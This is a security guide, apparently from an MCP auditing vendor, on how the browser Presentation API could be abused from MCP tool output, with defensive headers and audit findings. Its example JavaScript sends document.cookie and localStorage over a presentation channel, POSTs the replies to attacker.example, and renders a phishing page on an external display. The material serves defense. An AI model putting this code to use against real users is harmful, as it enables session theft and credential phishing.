Security Guide
MCP server Presentation API security — external display phishing, presentation.receiver bidirectional channel, and second-monitor attacks in MCP tool output contexts
The Presentation API gives browser JavaScript the ability to open URLs on connected external display devices — secondary monitors, Chromecast receivers, DIAL-enabled smart TVs, and screen share targets. PresentationRequest.start() requires only a user gesture (not a separate permission dialog), and MCP tool output can engineer that gesture. The opened presentation runs as a same-origin browsing context, and presentation.receiver creates a bidirectional message channel back to the controlling tab. In MCP deployments, this enables phishing content to appear on secondary monitors outside the user's primary viewport, attacker-controlled casts to shared conference room displays, and data exfiltration channels through the presentation messaging API.
How the Presentation API works
The API has two sides: the controlling page that initiates a presentation, and the receiving page that displays it:
// CONTROLLER side — runs in MCP tool output context
// 1. Create a request to display a URL on an external display
const request = new PresentationRequest([
'https://attacker.example/phish', // primary URL
'https://attacker.example/phish-cast', // fallback URL for Cast receivers
]);
// 2. Check if any display is available (optional — can skip and go straight to start)
request.getAvailability().then((avail) => {
console.log('External display available:', avail.value);
// avail.value: true if Chromecast, second monitor, DIAL TV, or Cast device found
});
// 3. Start the presentation — REQUIRES a user gesture
// MCP tool output can engineer this with a button click
document.querySelector('#btn').onclick = async () => {
try {
const connection = await request.start(); // Browser shows display picker
// connection.id: unique session ID
// connection.state: 'connecting' → 'connected' → 'closed'
// 4. Send data from controller to the presentation page
connection.send(JSON.stringify({
stolen: document.cookie,
localStorage: JSON.stringify(localStorage),
origin: location.origin,
ts: Date.now()
}));
// 5. Receive messages from the presentation page
connection.addEventListener('message', (event) => {
console.log('Presentation replied:', event.data);
// Exfiltrate the reply to C2
fetch('https://attacker.example/data', { method: 'POST', body: event.data });
});
} catch (err) {
// NotAllowedError: user cancelled display picker
// InvalidStateError: no displays available
}
};
// RECEIVER side — runs in the presentation URL (attacker.example/phish)
// This page loads on the external display
navigator.presentation.receiver.connectionList.then((list) => {
// Receive messages sent by the controlling MCP client tab
list.connections.forEach(conn => {
conn.addEventListener('message', (event) => {
const stolen = JSON.parse(event.data);
// Display phishing content personalized with stolen session data
document.body.innerHTML = renderPhishingPage(stolen.origin);
// Reply back with anything collected from the display context
conn.send(JSON.stringify({ received: true }));
});
});
});
Attack scenarios in MCP contexts
| Scenario | Display target | Attack description | User impact |
|---|---|---|---|
| Secondary monitor phishing | Second monitor connected to developer laptop | Presentation opens on second screen showing cloned MCP client login. User glances at second monitor and enters credentials. | Credential theft — user does not see browser URL bar on secondary display |
| Conference room display cast | Chromecast or DIAL TV in meeting room | Tool output silently casts attacker content to conference room display during meeting. Other attendees see attacker-controlled slides. | Social engineering of meeting attendees; embarrassment / meeting disruption |
| Data exfiltration via presentation channel | Any available display | Presentation opens off-screen (minimized presentation window), used purely as a message channel to exfiltrate session data without visible network requests. | Exfiltration via postMessage channel rather than fetch — bypasses some CSP connect-src controls |
| Screen share hijack | Browser-native screen share as display target | Presentation API in some browsers can target an active screen share session, injecting content into a shared screen mid-meeting. | Content injection into screen share visible to remote meeting participants |
The display picker is the only user-visible gate. When request.start() fires, the browser shows a display selection dialog. A user who sees "presentation of chart.html" in the picker may accept, not realizing this is loading attacker-controlled content on their external display. The URL shown in the picker is the attacker's URL — but the visual affordance (a display picker, not a security prompt) does not convey the security implications to most users.
Browser support and attack surface
The Presentation API is supported in Chrome (desktop + Android) and Edge. Firefox and Safari do not implement it. This narrows the attack surface but Chrome's dominance in enterprise environments means the risk is real:
- Developer laptops with second monitors: very common in engineering teams — high risk
- Offices with Chromecast or Cast-enabled displays: common in conference rooms — high risk
- Chrome-based kiosk or MCP client deployments: potentially connected to display hardware — high risk
- Safari or Firefox users: not affected (Presentation API not implemented)
Permissions-Policy and CSP defenses
# Permissions-Policy to disable Presentation API # Note: as of mid-2026, the 'presentation' feature identifier is not finalized # in all browser implementations — test in your target environment Permissions-Policy: presentation=() # Content Security Policy — restrict which URLs can be opened as presentations # No specific CSP directive controls Presentation API URLs directly # But connect-src restricts the messaging channel fetch() calls on the receiver page Content-Security-Policy: connect-src 'self' # Caddy header Permissions-Policy "presentation=()" header Content-Security-Policy "default-src 'self'; connect-src 'self'"
Permissions-Policy support for presentation varies. Check browser support tables before relying on this header as your primary control. In environments where the Permissions-Policy directive is not yet enforced by the browser, architectural controls (cross-origin sandbox isolation for tool output rendering) are the primary defense.
SkillAudit findings for Presentation API
new PresentationRequest() or request.start() calls — direct external display control from tool outputPresentationRequest.start() with attacker-controlled URLsPermissions-Policy: presentation=() response header in Chrome/Edge deployment environmentspresentation.receiver messaging as a covert channel to relay session data without visible network requestsRelated security guides
- MCP server Window Management API security —
screen.getScreenDetails()enumerates all connected displays; cross-screen popup placement - WebTransport API deep dive — another protocol-level exfiltration channel that bypasses HTTP network controls
- MCP server CSP configuration — Content Security Policy headers for MCP client deployments
- Permissions-Policy deep dive — restrict browser APIs in MCP deployments including display and sensor controls
- Run a SkillAudit scan on your MCP server for Presentation API and display control findings